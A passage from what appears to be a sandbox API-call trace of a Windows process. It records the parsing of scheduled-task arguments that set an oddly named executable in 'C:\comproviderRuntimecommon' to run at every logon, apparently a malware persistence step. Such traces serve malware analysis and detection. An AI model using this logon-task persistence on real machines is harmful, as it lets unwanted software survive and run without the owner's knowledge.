_Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.435] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|change|") returned 8 [0157.435] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|tn|") returned 4 [0157.435] lstrlenW (lpString="|change|") returned 8 [0157.435] lstrlenW (lpString="|tn|") returned 4 [0157.435] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0157.436] SetLastError (dwErrCode=0x490) [0157.436] lstrlenW (lpString="run") returned 3 [0157.436] lstrlenW (lpString="run") returned 3 [0157.436] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.436] lstrlenW (lpString="tn") returned 2 [0157.436] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.436] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|run|") returned 5 [0157.436] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|tn|") returned 4 [0157.436] lstrlenW (lpString="|run|") returned 5 [0157.436] lstrlenW (lpString="|tn|") returned 4 [0157.436] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0157.436] SetLastError (dwErrCode=0x490) [0157.436] lstrlenW (lpString="end") returned 3 [0157.436] lstrlenW (lpString="end") returned 3 [0157.436] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.436] lstrlenW (lpString="tn") returned 2 [0157.436] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.436] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|end|") returned 5 [0157.436] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|tn|") returned 4 [0157.436] lstrlenW (lpString="|end|") returned 5 [0157.436] lstrlenW (lpString="|tn|") returned 4 [0157.436] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0157.436] SetLastError (dwErrCode=0x490) [0157.436] lstrlenW (lpString="showsid") returned 7 [0157.436] lstrlenW (lpString="showsid") returned 7 [0157.436] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.436] GetProcessHeap () returned 0x250000 [0157.436] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c260) returned 1 [0157.436] GetProcessHeap () returned 0x250000 [0157.436] RtlReAllocateHeap (Heap=0x250000, Flags=0xc, Ptr=0x26c260, Size=0x16) returned 0x26c260 [0157.437] lstrlenW (lpString="tn") returned 2 [0157.437] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.437] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|showsid|") returned 9 [0157.437] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|tn|") returned 4 [0157.437] lstrlenW (lpString="|showsid|") returned 9 [0157.437] lstrlenW (lpString="|tn|") returned 4 [0157.437] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0157.437] SetLastError (dwErrCode=0x490) [0157.437] SetLastError (dwErrCode=0x490) [0157.437] SetLastError (dwErrCode=0x0) [0157.437] lstrlenW (lpString="/tn") returned 3 [0157.437] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0157.437] SetLastError (dwErrCode=0x490) [0157.437] SetLastError (dwErrCode=0x0) [0157.437] lstrlenW (lpString="/tn") returned 3 [0157.437] GetProcessHeap () returned 0x250000 [0157.437] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x8) returned 0x26c200 [0157.437] GetProcessHeap () returned 0x250000 [0157.437] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cc10 [0157.437] SetLastError (dwErrCode=0x0) [0157.437] SetLastError (dwErrCode=0x0) [0157.437] lstrlenW (lpString="but inside save") returned 15 [0157.437] lstrlenW (lpString="-/") returned 2 [0157.437] StrChrIW (lpStart="-/", wMatch=0x62) returned 0x0 [0157.437] SetLastError (dwErrCode=0x490) [0157.437] SetLastError (dwErrCode=0x490) [0157.437] SetLastError (dwErrCode=0x0) [0157.437] lstrlenW (lpString="but inside save") returned 15 [0157.437] StrChrIW (lpStart="but inside save", wMatch=0x3a) returned 0x0 [0157.437] SetLastError (dwErrCode=0x490) [0157.437] SetLastError (dwErrCode=0x0) [0157.437] lstrlenW (lpString="but inside save") returned 15 [0157.437] GetProcessHeap () returned 0x250000 [0157.437] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cc40 [0157.437] GetProcessHeap () returned 0x250000 [0157.437] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cc70 [0157.437] SetLastError (dwErrCode=0x0) [0157.437] SetLastError (dwErrCode=0x0) [0157.438] lstrlenW (lpString="/sc") returned 3 [0157.438] lstrlenW (lpString="-/") returned 2 [0157.438] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0157.438] lstrlenW (lpString="?") returned 1 [0157.438] lstrlenW (lpString="?") returned 1 [0157.438] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.438] lstrlenW (lpString="sc") returned 2 [0157.438] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.438] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|?|") returned 3 [0157.438] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|sc|") returned 4 [0157.438] lstrlenW (lpString="|?|") returned 3 [0157.438] lstrlenW (lpString="|sc|") returned 4 [0157.438] SetLastError (dwErrCode=0x490) [0157.438] lstrlenW (lpString="create") returned 6 [0157.438] lstrlenW (lpString="create") returned 6 [0157.438] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.438] lstrlenW (lpString="sc") returned 2 [0157.438] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.438] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|create|") returned 8 [0157.438] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|sc|") returned 4 [0157.438] lstrlenW (lpString="|create|") returned 8 [0157.438] lstrlenW (lpString="|sc|") returned 4 [0157.438] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0157.438] SetLastError (dwErrCode=0x490) [0157.438] lstrlenW (lpString="delete") returned 6 [0157.438] lstrlenW (lpString="delete") returned 6 [0157.438] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.438] lstrlenW (lpString="sc") returned 2 [0157.438] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.438] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|delete|") returned 8 [0157.438] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|sc|") returned 4 [0157.439] lstrlenW (lpString="|delete|") returned 8 [0157.439] lstrlenW (lpString="|sc|") returned 4 [0157.439] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0157.439] SetLastError (dwErrCode=0x490) [0157.439] lstrlenW (lpString="query") returned 5 [0157.439] lstrlenW (lpString="query") returned 5 [0157.439] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.439] lstrlenW (lpString="sc") returned 2 [0157.439] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.439] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|query|") returned 7 [0157.439] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|sc|") returned 4 [0157.439] lstrlenW (lpString="|query|") returned 7 [0157.439] lstrlenW (lpString="|sc|") returned 4 [0157.439] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0157.439] SetLastError (dwErrCode=0x490) [0157.439] lstrlenW (lpString="change") returned 6 [0157.439] lstrlenW (lpString="change") returned 6 [0157.439] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.439] lstrlenW (lpString="sc") returned 2 [0157.439] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.439] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|change|") returned 8 [0157.439] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|sc|") returned 4 [0157.439] lstrlenW (lpString="|change|") returned 8 [0157.439] lstrlenW (lpString="|sc|") returned 4 [0157.439] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0157.439] SetLastError (dwErrCode=0x490) [0157.439] lstrlenW (lpString="run") returned 3 [0157.439] lstrlenW (lpString="run") returned 3 [0157.439] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.439] lstrlenW (lpString="sc") returned 2 [0157.439] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.439] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|run|") returned 5 [0157.439] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|sc|") returned 4 [0157.439] lstrlenW (lpString="|run|") returned 5 [0157.440] lstrlenW (lpString="|sc|") returned 4 [0157.440] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0157.440] SetLastError (dwErrCode=0x490) [0157.440] lstrlenW (lpString="end") returned 3 [0157.440] lstrlenW (lpString="end") returned 3 [0157.440] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.440] lstrlenW (lpString="sc") returned 2 [0157.440] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.440] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|end|") returned 5 [0157.440] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|sc|") returned 4 [0157.440] lstrlenW (lpString="|end|") returned 5 [0157.440] lstrlenW (lpString="|sc|") returned 4 [0157.440] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0157.440] SetLastError (dwErrCode=0x490) [0157.440] lstrlenW (lpString="showsid") returned 7 [0157.440] lstrlenW (lpString="showsid") returned 7 [0157.440] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.440] lstrlenW (lpString="sc") returned 2 [0157.440] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.440] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|showsid|") returned 9 [0157.440] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|sc|") returned 4 [0157.440] lstrlenW (lpString="|showsid|") returned 9 [0157.440] lstrlenW (lpString="|sc|") returned 4 [0157.440] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0157.440] SetLastError (dwErrCode=0x490) [0157.440] SetLastError (dwErrCode=0x490) [0157.440] SetLastError (dwErrCode=0x0) [0157.440] lstrlenW (lpString="/sc") returned 3 [0157.440] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0157.440] SetLastError (dwErrCode=0x490) [0157.440] SetLastError (dwErrCode=0x0) [0157.441] lstrlenW (lpString="/sc") returned 3 [0157.441] GetProcessHeap () returned 0x250000 [0157.441] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x8) returned 0x26c290 [0157.441] GetProcessHeap () returned 0x250000 [0157.441] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cca0 [0157.441] SetLastError (dwErrCode=0x0) [0157.441] SetLastError (dwErrCode=0x0) [0157.441] lstrlenW (lpString="ONLOGON") returned 7 [0157.441] lstrlenW (lpString="-/") returned 2 [0157.441] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0157.441] SetLastError (dwErrCode=0x490) [0157.441] SetLastError (dwErrCode=0x490) [0157.441] SetLastError (dwErrCode=0x0) [0157.441] lstrlenW (lpString="ONLOGON") returned 7 [0157.441] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0157.441] SetLastError (dwErrCode=0x490) [0157.441] SetLastError (dwErrCode=0x0) [0157.441] lstrlenW (lpString="ONLOGON") returned 7 [0157.441] GetProcessHeap () returned 0x250000 [0157.441] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x10) returned 0x26c2b0 [0157.441] GetProcessHeap () returned 0x250000 [0157.441] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26ccd0 [0157.441] SetLastError (dwErrCode=0x0) [0157.441] SetLastError (dwErrCode=0x0) [0157.441] lstrlenW (lpString="/tr") returned 3 [0157.441] lstrlenW (lpString="-/") returned 2 [0157.441] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0157.441] lstrlenW (lpString="?") returned 1 [0157.441] lstrlenW (lpString="?") returned 1 [0157.441] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.441] lstrlenW (lpString="tr") returned 2 [0157.441] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.441] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|?|") returned 3 [0157.441] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|tr|") returned 4 [0157.441] lstrlenW (lpString="|?|") returned 3 [0157.441] lstrlenW (lpString="|tr|") returned 4 [0157.441] SetLastError (dwErrCode=0x490) [0157.442] lstrlenW (lpString="create") returned 6 [0157.442] lstrlenW (lpString="create") returned 6 [0157.442] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.442] lstrlenW (lpString="tr") returned 2 [0157.442] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.442] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|create|") returned 8 [0157.442] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|tr|") returned 4 [0157.442] lstrlenW (lpString="|create|") returned 8 [0157.442] lstrlenW (lpString="|tr|") returned 4 [0157.442] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0157.442] SetLastError (dwErrCode=0x490) [0157.442] lstrlenW (lpString="delete") returned 6 [0157.442] lstrlenW (lpString="delete") returned 6 [0157.442] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.442] lstrlenW (lpString="tr") returned 2 [0157.442] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.442] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|delete|") returned 8 [0157.442] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|tr|") returned 4 [0157.442] lstrlenW (lpString="|delete|") returned 8 [0157.442] lstrlenW (lpString="|tr|") returned 4 [0157.442] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0157.442] SetLastError (dwErrCode=0x490) [0157.442] lstrlenW (lpString="query") returned 5 [0157.442] lstrlenW (lpString="query") returned 5 [0157.442] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.442] lstrlenW (lpString="tr") returned 2 [0157.442] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.442] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|query|") returned 7 [0157.442] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|tr|") returned 4 [0157.442] lstrlenW (lpString="|query|") returned 7 [0157.442] lstrlenW (lpString="|tr|") returned 4 [0157.442] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0157.442] SetLastError (dwErrCode=0x490) [0157.443] lstrlenW (lpString="change") returned 6 [0157.443] lstrlenW (lpString="change") returned 6 [0157.443] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.443] lstrlenW (lpString="tr") returned 2 [0157.443] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.443] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|change|") returned 8 [0157.443] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|tr|") returned 4 [0157.443] lstrlenW (lpString="|change|") returned 8 [0157.443] lstrlenW (lpString="|tr|") returned 4 [0157.443] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0157.443] SetLastError (dwErrCode=0x490) [0157.446] lstrlenW (lpString="run") returned 3 [0157.446] lstrlenW (lpString="run") returned 3 [0157.447] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.447] lstrlenW (lpString="tr") returned 2 [0157.447] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.447] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|run|") returned 5 [0157.447] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|tr|") returned 4 [0157.447] lstrlenW (lpString="|run|") returned 5 [0157.447] lstrlenW (lpString="|tr|") returned 4 [0157.447] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0157.447] SetLastError (dwErrCode=0x490) [0157.447] lstrlenW (lpString="end") returned 3 [0157.447] lstrlenW (lpString="end") returned 3 [0157.447] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.447] lstrlenW (lpString="tr") returned 2 [0157.447] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.447] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|end|") returned 5 [0157.447] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|tr|") returned 4 [0157.447] lstrlenW (lpString="|end|") returned 5 [0157.447] lstrlenW (lpString="|tr|") returned 4 [0157.447] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0157.447] SetLastError (dwErrCode=0x490) [0157.447] lstrlenW (lpString="showsid") returned 7 [0157.447] lstrlenW (lpString="showsid") returned 7 [0157.447] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.447] lstrlenW (lpString="tr") returned 2 [0157.447] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.447] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|showsid|") returned 9 [0157.447] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|tr|") returned 4 [0157.448] lstrlenW (lpString="|showsid|") returned 9 [0157.448] lstrlenW (lpString="|tr|") returned 4 [0157.448] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0157.448] SetLastError (dwErrCode=0x490) [0157.448] SetLastError (dwErrCode=0x490) [0157.448] SetLastError (dwErrCode=0x0) [0157.448] lstrlenW (lpString="/tr") returned 3 [0157.448] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0157.448] SetLastError (dwErrCode=0x490) [0157.448] SetLastError (dwErrCode=0x0) [0157.448] lstrlenW (lpString="/tr") returned 3 [0157.448] GetProcessHeap () returned 0x250000 [0157.448] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x8) returned 0x26c2d0 [0157.448] GetProcessHeap () returned 0x250000 [0157.448] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cd00 [0157.448] SetLastError (dwErrCode=0x0) [0157.448] SetLastError (dwErrCode=0x0) [0157.448] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\but inside save.exe'") returned 49 [0157.448] lstrlenW (lpString="-/") returned 2 [0157.448] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0157.448] SetLastError (dwErrCode=0x490) [0157.448] SetLastError (dwErrCode=0x490) [0157.448] SetLastError (dwErrCode=0x0) [0157.448] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\but inside save.exe'") returned 49 [0157.448] StrChrIW (lpStart="'C:\\comproviderRuntimecommon\\but inside save.exe'", wMatch=0x3a) returned=":\\comproviderRuntimecommon\\but inside save.exe'" [0157.448] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\but inside save.exe'") returned 49 [0157.448] GetProcessHeap () returned 0x250000 [0157.448] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26c2f0 [0157.448] _memicmp (_Buf1=0x26c2f0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.448] GetProcessHeap () returned 0x250000 [0157.449] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xe) returned 0x26c310 [0157.449] GetProcessHeap () returned 0x250000 [0157.449] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26c330 [0157.449] _memicmp (_Buf1=0x26c330, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.449] GetProcessHeap () returned 0x250000 [0157.449] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x66) returned 0x26c350 [0157.449] SetLastError (dwErrCode=0x7a) [0157.449] SetLastError (dwErrCode=0x0) [0157.449] SetLastError (dwErrCode=0x0) [0157.449] lstrlenW (lpString="'C") returned 2 [0157.449] lstrlenW (lpString="-/") returned 2 [0157.449] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0157.449] SetLastError (dwErrCode=0x490) [0157.449] SetLastError (dwErrCode=0x490) [0157.449] SetLastError (dwErrCode=0x0) [0157.449] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\but inside save.exe'") returned 49 [0157.449] GetProcessHeap () returned 0x250000 [0157.449] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x64) returned 0x26c3c0 [0157.449] GetProcessHeap () returned 0x250000 [0157.449] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cd30 [0157.449] SetLastError (dwErrCode=0x0) [0157.449] SetLastError (dwErrCode=0x0) [0157.449] lstrlenW (lpString="/rl") returned 3 [0157.449] lstrlenW (lpString="-/") returned 2 [0157.449] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0157.449] lstrlenW (lpString="?") returned 1 [0157.449] lstrlenW (lpString="?") returned 1 [0157.449] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.449] lstrlenW (lpString="rl") returned 2 [0157.449] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.449] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|?|") returned 3 [0157.450] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|rl|") returned 4 [0157.450] lstrlenW (lpString="|?|") returned 3 [0157.450] lstrlenW (lpString="|rl|") returned 4 [0157.450] SetLastError (dwErrCode=0x490) [0157.450] lstrlenW (lpString="create") returned 6 [0157.450] lstrlenW (lpString="create") returned 6 [0157.450] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.450] lstrlenW (lpString="rl") returned 2 [0157.450] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.450] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|create|") returned 8 [0157.450] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|rl|") returned 4 [0157.450] lstrlenW (lpString="|create|") returned 8 [0157.450] lstrlenW (lpString="|rl|") returned 4 [0157.450] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0157.450] SetLastError (dwErrCode=0x490) [0157.450] lstrlenW (lpString="delete") returned 6 [0157.450] lstrlenW (lpString="delete") returned 6 [0157.450] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.450] lstrlenW (lpString="rl") returned 2 [0157.450] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.450] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|delete|") returned 8 [0157.450] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|rl|") returned 4 [0157.450] lstrlenW (lpString="|delete|") returned 8 [0157.450] lstrlenW (lpString="|rl|") returned 4 [0157.450] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0157.450] SetLastError (dwErrCode=0x490) [0157.450] lstrlenW (lpString="query") returned 5 [0157.450] lstrlenW (lpString="query") returned 5 [0157.450] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.451] lstrlenW (lpString="rl") returned 2 [0157.451] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.451] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|query|") returned 7 [0157.451] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|rl|") returned 4 [0157.451] lstrlenW (lpString="|query|") returned 7 [0157.451] lstrlenW (lpString="|rl|") returned 4 [0157.451] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0157.451] SetLastError (dwErrCode=0x490) [0157.451] lstrlenW (lpString="change") returned 6 [0157.451] lstrlenW (lpString="change") returned 6 [0157.451] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.451] lstrlenW (lpString="rl") returned 2 [0157.451] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.451] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|change|") returned 8 [0157.451] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|rl|") returned 4 [0157.451] lstrlenW (lpString="|change|") returned 8 [0157.451] lstrlenW (lpString="|rl|") returned 4 [0157.451] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0157.451] SetLastError (dwErrCode=0x490) [0157.451] lstrlenW (lpString="run") returned 3 [0157.451] 